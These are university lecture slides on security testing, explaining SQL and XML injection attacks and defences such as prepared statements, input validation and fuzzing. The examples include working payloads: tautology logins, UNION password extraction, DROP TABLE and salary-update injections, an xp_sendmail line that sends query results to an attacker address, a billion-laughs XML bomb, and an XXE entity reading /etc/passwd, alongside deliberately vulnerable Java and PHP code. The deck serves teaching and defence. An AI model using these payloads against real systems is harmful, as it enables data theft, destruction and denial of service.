12 SecurityTesting

Download as pdf or txt
Download as pdf or txt
You are on page 1of 62

Security Testing

Annibale Panichella

Book: "SQL injection attacks and defense” by Justin Clarke


Chapters 4, 5, 8
https://www.owasp.org

!1
Roadmap

• Security Vulnerability

• Code Injection Attacks

• Defense
• Code-Level
• Security Patterns
• Penetration Testing

!2
Let’s Assume We Want To Make You Games
Available Online Using Java Applets…

!3
How Secure Are Your Games?

!4
X-Force Threat Intelligence Index 2017

Code Injection 42%


Manipulated data structures 32%
Collect and analyze information 9%
Indicator 4%
Employ probabilistic techniques 3%
Manipulate system resources 3% More than 40% of all
Subvert access control 3% attacks were injection
Abuse existing functionality 2% attacks (e.g., SQLi)
Engage in deceptive interactions 2%

https://www.ibm.com/security/xforce/
!5
X-Force Threat Intelligence Index 2018

Code Injection 42%


79%
Manipulated data structures 32%
2%
Collect and analyze information 9%
8%
Indicator 4%
3%
Employ probabilistic techniques 3%
1% The number of
Manipulate system resources 3%
2% injection attacks
Subvert access control 3%
2%
almost doubled in
Abuse existing functionality 3% the last year
Engage in deceptive interactions 2%
1%

https://www.ibm.com/security/xforce/
!6
X-Force Threat Intelligence Index 2018

32B 8M 860M
Analyzed web pages and images Spam and phishing Malicious IP addresses
attacks daily

100K 8M 860M
Documented vulnerabilities Events managed per day Endpoints monitored
for malware

https://www.ibm.com/security/xforce/
!7
Simple Application Architecture
Presentation Tier Logic Tier Storage

Front-end Back-end

Main Interaction
point for the users

Main attack point for


the hackers
!8
Simple Application Architecture
Presentation Tier Logic Tier Storage

Username str1 Query Template:


Name Surname …
Password str2 str1
John Snow …
str1
OK

Form Template Query Result

!9
Simple Application Architecture
Presentation Tier Logic Tier Storage

Username str1 SELECT * FROM Users Name Surname …


Password str2 WHERE
John Snow …
(usr = ‘str1’ AND psw = ‘str2’)
OK

Form SQL Query Query Result

!10
Simple Application Architecture
Presentation Tier Logic Tier Storage

Username str1 <user>


<username>str1</username> Name Surname …
Password str2 <password>str2</password> John Snow …
</user>
OK
JDOM2
Form XML Query
(XML parser)
!11
Java Example
Input strings from the form (text boxes)

public class DBConnection {

protected boolean login(String username, String password) {


boolean success = false;
try { DB Connection
Connection conn = DriverManager.getConnection("MyDB", "root", "");
Statement st = conn.createStatement();
String query = "SELECT * FROM User where userId='"
+ username + "' AND psw='" + password+"'"; Query Template
ResultSet res = null;
res = st.executeQuery(query);
if (res.next()) {
success = true;
}
System.out.println("Results: "+success); Results
conn.close();
} catch (SQLException e) {
e.printStackTrace();
} finally {
return success;
}
}
}

!12
Java Example
public class DBConnection {

protected boolean login(String username, String password) {


boolean success = false;
try {
Connection conn = DriverManager.getConnection("MyDB", User Input
"root", "");
Statement st = conn.createStatement();
String query = "SELECT * FROM User where userId='"
+ username + "' AND psw='" + password+"'"; Username John
ResultSet res = null;
res = st.executeQuery(query);
if (res.next()) {
Password Snow
success = true;
}
System.out.println("Results: "+success); OK
conn.close();
} catch (SQLException e) {
e.printStackTrace();
} finally {
return success;
}
}
}

Generate SQL Query

SELECT accounts FROM users WHERE login='John' AND pin=‘Snow’

!13
Java Example
public class DBConnection {

protected boolean login(String username, String password) {


boolean success = false;
try {
Connection conn = DriverManager.getConnection("MyDB", User Input
"root", "");
Statement st = conn.createStatement();
String query = "SELECT * FROM User where userId='"
+ username + "' AND psw='" + password+"'"; Username
ResultSet res = null;
res = st.executeQuery(query);
if (res.next()) {
Password ‘ OR 1==1
success = true;
}
System.out.println("Results: "+success); OK
conn.close();
} catch (SQLException e) {
e.printStackTrace();
} finally {
return success;
}
}
}

Tautology
Generate SQL Query (always true)

SELECT accounts FROM users WHERE login=‘’ OR 1 == 1

!14
PHP Example
// dynamically build the sql statement with the input
$query = "SELECT userid FROM CMSUsers WHERE user = '$_GET["user"]' " .
"AND password = '$_GET["password"]'";
User Input
// execute the query against the database
$result = mysql_query($query);
Username
// check to see how many rows were returned from the database
$rowcount = mysql_num_rows($result); Password ‘ OR 1==1
// if a row is returned then the credentials must be valid, so
// forward the user to the admin pages OK
if ($rowcount ! = 0){header("Location: admin.php");}

// if a row is not returned then the credentials must be invalid


else {die('Incorrect username or password, please try again.')}

Tautology
Generate SQL Query (always true)

SELECT accounts FROM users WHERE login=‘’ OR 1 == 1

!15
Injection Attacks
Code Injection is the general term for attack types which consist
of injecting code that is then interpreted/executed by the
application.

What languages and platforms are affected by injection attacks?


• Web-app, stand-alone applications, microservices, etc.
(any applications with user-provided input)
• Language: SQL, NoSQL (e.g., XML, JSON, LINQ)
• Platform: any if there is a connection with DBMS, files, etc.

We will see two type of code injection attacks:



1. SQL injection (SQLi) 

2. XML injection (XMLi) as an example of NoSQL
!16
Warnings

• Attempting Injection Attack to Real-world Applications is illegal

• Claiming that you made some attempts for educational


purposes or as researcher is not a legal justification

• Therefore, in this lecture we will use only web applications that


are made vulnerable for educational purposes

• Our goal is to learn how our applications (games) can be


exploited by attackers (only for testing purposes)

!17
Example: WebGoat
WebGoat is an insecure web application maintained by OWASP and
made for teaching and education purposes.

https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

!18
Example
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

!19
Example
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

**WARNING 1:** *While running this program your machine will be extremely
vulnerable to attack. You should disconnect from the Internet while using
this program.* WebGoat's default configuration binds to localhost to minimize
the exposure.

**WARNING 2:** *This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*

!20
Type of SQLi
Most common injection attacks:
• Tautologies
• Illegal/incorrect queries
• Union query
• Piggy-backed queries
• Out of Band attacks
• Time delay attacks
• Stored procedures attacks

Additionally, the injection may use:


• Alternate encodings to try to defeat sanitization routines that don’t
interpret them (e.g., char(120) instead of x)
• Attack obfuscation or signature evasion techniques

!21
SQL Tautologies
A tautology is something that is inherently true. SQL tautologies are used
when you want to force a query to return all results, basically ignoring any
WHERE conditionals.

Simple tautologies like " OR 1=1" are useful, but may be filtered out by some
security tools. The table below shows the most common tautologies (which
should validate/check in the user-provided inputs).

Statement Numeric String Binary Statement Numeric String Binary


a=a X X X b >! a X X X
a ^= b X X X a IN (c, b, a) X X X
a<b X X X a NOT IN (d, c, b) X X X
b>a X X X b BETWEEN a AND c X X X
a <= b X X X a NOT BETWEEN c AND d X X X
b >= a X X X a LIKE a X
a <! b X X X a NOT LIKE b X

!22
Example
WebGoat > Injection Flaws > String SQL Injection

Gandalf’ OR ‘1'=1'

We can see the


database content

!23
Illegal or Incorrect Query
In this type of injection an attacker is trying gather information about the type
and structure of the back-end database of a Web application. The attack is
considered as a preliminary step for further attacks.

If an incorrect query is sent to a database, some application servers return the


default error message that often exposes the names of tables and columns

SELECT accounts FROM users WHERE login='' AND pin=convert(int,


(select top 1 name from sysobjects where xtype='u'))
Query

sysobjects is server table of metadata (for MS SQL server)


convert tries to convert the top name (string) in the metadata into integer

!24
Illegal or Incorrect Query
In this type of injection an attacker is trying gather information about the type
and structure of the back-end database of a Web application. The attack is
considered as a preliminary step for further attacks.

If an incorrect query is sent to a database, some application servers return the


default error message that often exposes the names of tables and columns

SELECT accounts FROM users WHERE login='' AND pin=convert(int,


(select top 1 name from sysobjects where xtype='u'))
Query

Microsoft OLE DB Provider for SQL Server (Ox80040E07)


Error Message Error converting nvarchar value 'CreditCards'
to a column of data type int

!25
Union Query
The UNION operator is used in SQL injections to join a query, purposely
forged by the attacker, to the original query.

The result of the forged query will be joined to the result of the original
query, allowing the attacker to obtain the values of columns of other tables

"SELECT name FROM products WHERE name LIKE "+search_term Template Query

search_term = “'phone' UNION SELECT password FROM users #" User Input

Notice that the queries must have


SELECT name FROM products WHERE name LIKE
an equal number of parameters/
'phone' UNION SELECT passwd FROM users
columns to avoid a syntax errors

!26
Piggy-Backed Attacks
In SQL, the semicolon (;) can be used to separate two SQL statements. Piggy-
Backed attacks use the semicolon to append an additional statement to the
original statement and can be used for a wide range of attack purposes (e.g.
data extracting or modification, and denial of service).

An example of a piggy-backed attack is ; DROP TABLE users #

SELECT accounts FROM users WHERE


login=’doe’; drop table users -- ’ AND pin=

If this attack is injected into a vulnerable SQL statement, it drops the table user and,
thus, potentially breaks the application.

!27
Example
WebGoat > Injection Flaws > Modify Data with SQL Injection

Insert your username to


retrieve your salary

Current salary of
the user jsmith = 1000,00 euros

!28
Example
WebGoat > Injection Flaws > Modify Data with SQL Injection

Insert the following code to


upgrade the salary
gandalf’; UPDATE salaries SET salary=100000 WHERE userid='jsmith

!29
Example
WebGoat > Injection Flaws > Modify Data with SQL Injection

New salary!

!30
Out of Band Attacks
This technique is very useful when the tester find a Blind SQL Injection
situation, in which nothing is known on the outcome of an operation.

The technique consists of the use of DBMS functions to perform an out-of-


band (OOB) connection, i.e., transferring the query results to a different
channel (e.g., a database hosted by attackers).


Notice that modern database servers are very powerful applications, and
their features go beyond simply returning data to a user performing a query.
For instance, they can open connections to other databases or send an e-
mail when a specific event occurs, etc.


The out-of-band attack is platform specific: the type of commands you can
can execute depends on the platform (server) and DBMS being used.

!31
Out of Band Attacks
For example: 

Microsoft SQL Server provides a nice built-in feature for sending e-mails (SQL
mail):
• xp_startmail is used to start the SQL Client and log on to the mail server
• xp_sendmail, which is the extended procedure to send an e-mail message
with SQL Mail

If xp_startmail is not executed by providing two parameters (@user and
@Password), xp_startmail tries to use the default account of Microsoft Outlook
allowing the attackers to send the results of the query to any email address

Example of attack for Microsoft SQL Server


EXEC master..xp_startmail;
EXEC master..xp_sendmail @recipients = 'admin@attacker.com', @query ='select @@version'

!32
Time Delay Attacks
The time delay exploitation technique is very useful when the tester find a Blind
SQL Injection situation, in which nothing is known on the outcome of an
operation. How do we know if our attacks where successful?

This technique consists in sending a query with an injection conditional


statement and then monitoring the time taken to for the server to respond. If there
is a delay, the attacker can assume the result of the conditional query is true.

"SELECT name FROM products WHERE name LIKE "+search_term Template Query

‘; IF (system_user = ‘admin') WAITFOR DELAY '0:0:5' User Input

system_user is a function that returns the current login name


If the current logging name is “admin”, the query will execute WAITFOR (5s)

!33
Stored Procedure Attacks
Some DBMS offer the possibility to execute stored procedures

Stored Procedure
Create procedure user_login @username varchar(20), @passwd varchar(20)
AS
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

!34
Stored Procedure Attacks
Some DBMS offer the possibility to execute stored procedures

Stored Procedure
Create procedure user_login @username varchar(20), @passwd varchar(20)
AS
Declare @sqlstring varchar(250) Java Code
Set @sqlstring = ‘ public boolean login2(String username, String password) {
Select 1 from users boolean success = false;
try {
Where username = ‘ + @username +Connection
‘ and passwd = ‘ + @passwd
connection = DriverManager.getConnection("MyDB", "root", "");
exec(@sqlstring) CallableStatement cstmt = connection.prepareCall("{call user_login}");
cstmt.setString("username", username);
Go cstmt.setString("password", passwd);
cstmt.execute();
ResultSet res = cstmt.getResultSet(); Name of the
if (res.next()) {
success = true; procedure
}
System.out.println("Results: "+success);
Procedure connection.close();
} catch (SQLException e) { Name of the
execution e.printStackTrace();
} finally { paramaters
return success;
}
}

!35
Stored Procedure Attacks
Some DBMS offer the possibility to execute stored procedures

Stored Procedure
Create procedure user_login @username varchar(20), @passwd varchar(20)
AS
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

Usually, stored procedures do not sanitize the input (like the example above). If
we run the above procedure with the user input anyusername or 1=1’ and
anypassword we incur in the classical tautology attack.

!36
Is It all About SQL?

!37
Type of XMLi Attacks

Most common attacks:

• Privilege escalation

• Billion laughs (or XML Bomb)

• Reflected file retrieval

• Improper data validation

!38
Privilege Escalation Attack
Privilege escalation attacks can be used by testers/attackers to
achieves elevated access to resources that are normally protected
by an application.

XML file with users data Registration form for players


<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
Username Saruman
<password>!c3</password>
<role>admin</role> Password ****
<mail>gandalf@middleearth.com</mail>
</user> Email saru@gmail.com
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<role>player</role> OK
<mail>Stefan0@whysec.hmm</mail>
</user>
</users>

!39
Privilege Escalation Attack
XML file after the registration
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user> The data of the new user is
<username>gandalf</username>
<password>!c3</password> appended to the end of the xml file
<role>admin</role>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<role>player</role>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>Saruman</username>
<password>****</password>
<role>player</role>
The role is automatically
<mail>saru@gmail.com</mail> assigned by the application
</user>
</users>

!40
Privilege Escalation Attack
User Input XML file after the registration
<?xml version="1.0" encoding="ISO-8859-1"?>
Username Saruman <users>
<user>
<username>gandalf</username>
Password ****</password><!-- <password>!c3</password>
<role>admin</role>
<mail>gandalf@middleearth.com</mail>
--><role>admin<role>
Email <mail>saru@gmail.com
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
OK <role>player</role>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>Saruman</username>
<password>****</password><!--
<role>player</role>
<mail>--><role>admin<role>

<mail>saru@gmail.com</mail>
</user>
</users>

!41
Privilege Escalation Attack
User Input XML file after the registration
<?xml version="1.0" encoding="ISO-8859-1"?>
Username Saruman <users>
<user>
<username>gandalf</username>
Password ****</password><!-- <password>!c3</password>
<role>admin</role>
<mail>gandalf@middleearth.com</mail>
--><role>admin<role>
Email <mail>saru@gmail.com
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
OK <role>player</role>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
Some tags are commented out, <username>Saruman</username>
<password>****</password><!--
including the role assigned by the <role>player</role>
system <mail>--><role>admin<role>

<mail>saru@gmail.com</mail>
</user>
The new player is now an </users>

administrator of the system

!42
Privilege Escalation Attack (2)
User Input XML file after the registration
<?xml version="1.0" encoding="ISO-8859-1"?>
Username Saruman <users>
<user>
<username>gandalf</username>
****</password>
Password <role>admin<role>
<password>!c3</password>
<role>admin</role>
<mail>gandalf@middleearth.com</mail>
</user>
Email saru@gmail.com
<user>
<username>Stefan0</username>
<password>w1s3c</password>
OK <role>player</role>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
When one tag is repeated, most of <username>Saruman</username>
<password>****</password>
the XML parsers ignore all <rule>player</role>
replicated tags after the first <role>admin<role>
<mail>saru@gmail.com</mail>
occurrence (i.e., Saruman is an </user>
</users>
admin as well)

!43
Billion Laughs
A billion laughs attacks (or XML bomb) is a specific type of denial-
of-service (DoS) attacks targeting XML parsers. The attacks consists
in producing an XML document with 10 defined entities, each
defined as consisting of 10 copied of the previous entity.

Classic Example
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;"> The most common
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;"> version uses the
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;"> string ‘lol’; hence, the
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;"> name "billion laughs”
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>

!44
Billion Laughs
Classic Example
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>

The entity LOL9 will be resolved as the 10 entities defined in LOL8; then each
of these entities will be resolved in LOL7 and so on

At the end, the CPU and/or memory will be affected by parsing the 3*10^9 (3M)
entities defined in this schema, which could make the parser crash

!45
Reflected File Retrieval
This type of attack aims to retrieve the content of files stored in the
machine hosting the xml parser. The retrieval is done by invoking system
calls to open well-know (platform-specific) files with sensitive data

Classic Example We define an entity xxe, which is the


<?xml version="1.0" encoding="ISO-8859-1"?>
contents of the file /etc/passwd.
<!DOCTYPE root [
<!ELEMENT includeme ANY>
<!ENTITY xxe SYSTEM "/etc/passwd"> If the parser allows references to
]>
<root>&xxe;</root>
external entities, the tag is
expanded with the contents of that
file, which might be visible as output
(or as part of an error message)

!46
Improper Data Validation
This type of attacks aims to expose the application to that may results in the
disclosure of internal errors or documents that damage the application’s
functionality.

Division by zero:

Developers should avoid allowing the number zero if it is used as denominator in a
division. Indeed, in case of division by zero, some applications may trigger the error
FOAR0001, other exception may be thrown or they may simply crash.

Other examples include using special value like Infinity or Not a number (Nan).

Solution:
To protect the application from possible (induced) crash, input validation and data
restrictions are needed.

!47
Improper Data Validation
To avoid this type of attacks, XML schema allow to include some restrictions on
numerical data types:
• negativeInteger: Only negative numbers
• nonNegativeInteger: Negative numbers and the zero value
• positiveInteger: Only positive numbers
• nonPositiveInteger: Positive numbers and the zero value
• decimal: Infinity and Nan are not allowed values

These restrictions can be declared in the schema preamble:


<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="buy">
<xs:complexType>
<xs:sequence>
<xs:element name="id" type="xs:integer"/>
<xs:element name="price" type="xs:decimal"/>
<xs:element name="quantity" type="xs:integer"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>

!48
Defense Mechanisms

!49
Code-Level Defences
Be aware of possible security concerns when writing code that
uses user-supplied input and accesses to the database.

public class DBConnection {

protected boolean login(String username, String password) {


boolean success = false; Example of code for
try {
Connection conn = DriverManager.getConnection("MyDB", DB connection in
Statement st = conn.createStatement();
"root", "");
Java. We have seen at
String query = "SELECT * FROM User where userId='"
+ username + "' AND psw='" + password+"'";
the beginning of this
ResultSet res = null;
res = st.executeQuery(query);
lecture
if (res.next()) {
success = true;
}
System.out.println("Results: "+success);
conn.close();
} catch (SQLException e) {
e.printStackTrace();
It has two critical
} finally {
return success;
security issues
}
}
}

!50
Code-Level Defences
Dynamic SQL, or assembling an SQL query as a string containing user-controllable input
and then submitting it to the database, is the primary cause of SQL injection vulnerabilities.

Vulnerable Code in Java


Statement st = conn.createStatement();
String query = "SELECT * FROM User where userId='"+ username + "' AND psw='" + password+"'";
ResultSet res = null;
res = st.executeQuery(query);

You should use parameterized statements (also known as prepared statements) instead
of dynamic SQL to assemble an SQL query safely.

Secure Code in Java


PreparedStatement stmt = connection.prepareStatement("SELECT * FROM User where userId=? AND psw=?");
stmt.setString(1, username);
stmt.setString(2, password);
stmt.executeQuery();
ResultSet res = stmt.getResultSet();

!51
Prepared Statements
Parameterized queries force the developer to first define all the SQL code, and then pass
in each parameter to the query later. This coding style allows the database to
distinguish between code and data, regardless of what user input is supplied.

Intent of the query

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM User where userId=? AND psw=?");


stmt.setString(1, username);
stmt.setString(2, password);
stmt.executeQuery();
ResultSet res = stmt.getResultSet(); Data (that will never be interpreted as SQL code)

Prepared statements ensure that an attacker is not able to change the intent of a
query. Even if SQL commands are inserted by an attacker, the user provided input will
never be interpreted as part of the query code

!52
Not Only Java
Nowadays, many programming languages allow the used of prepared statements:

• Java EE – use PreparedStatement() with bind variables

• .NET – use parameterized queries like SqlCommand() or


OleDbCommand() with bind variables

• PHP – use PDO with strongly typed parameterized queries (using


bindParam())

• Hibernate - use createQuery() with bind variables (called named


parameters in Hibernate)

• SQLite - use sqlite3_prepare() to create a statement object

!53
Code-Level Defences
Don’t print the stack traces (in case of crashes) to the standard output or to
any error message shown to the user. Always use/show generic messages.

public class DBConnection {

protected boolean login(String username, String password) {


boolean success = false;
try {
Connection conn = DriverManager.getConnection("MyDB",
A stack trace is an
...
"root", "");
information leak, which
conn.close();
} catch (SQLException e) { reveals information about
e.printStackTrace();
} finally {
return success;
your implementation.
}
}
}

!54
Code-Level Defences
Don’t print the stack traces (in case of crashes) to the standard output or to
any error message shown to the user. Always use/show generic messages.

We can see what


libraries, methods and
statements you are
using

!55
Security Design Patterns
Many vulnerabilities can be prevented by ensuring that input data is properly
validated. Input validation pattern uses an input validator that inspect all external
inputs from untrusted data sources and discards inputs with attack strings/patterns

<<interface>>
Service InputValidation
… …
+ doArction(input : String) + validate(input : String)

public void doAction(String input){


validator.validate(input)
...
} PasswordValidator MessageValidator
… …
A validator uses regular expressions to + validate(psw : String) + validate(msg : String)
detect attack strings/patterns in the
user-supplied input.

!56
Security Design Patterns
Input sanitization pattern uses a sanitizer to removes some special
characters (e.g., < ) from user inputs to prevent possible attacks

<<interface>>
Service InputSanitizer
… …
+ doArction(input : String) + sanitize(input : String)

public void doAction(String input){


sanitizer.sanitize(input)
... PasswordSanitizer MessageSanitizer
}
… …
+ sanitize(psw : String) + sanitize(msg : String)

!57
Penetration Testing Tools
Fuzzing is the most common penetration testing tool. A fuzzer try to inject
common string patterns that are known to be dangerous (if successful).

List of known attack


strings/patterns Input Form
<username>' OR 1=1--
'OR '' = '
<username>'--
'OR 1=1—
Username
select @@version
select @@servernamee
select @@microsoftversione
select * from master..sysserverse
Fuzzer Password
select * from sysusers
... OK

A good fuzzer also generates variants of well know attack patterns by adding extract
spaces, code comments and other metacharacters useful for attack obfuscation

!58
Penetration Testing Tools
https://github.com/fuzzdb-project/fuzzdb

!59
Penetration Testing Tools
List of know attack patterns

!60
SQLMap (for Web App Only)
http://sqlmap.org

!61
The OWASP Foundation
For more info about security attacks and defense:
https://www.owasp.org/index.php/Main_Page

!62

You might also like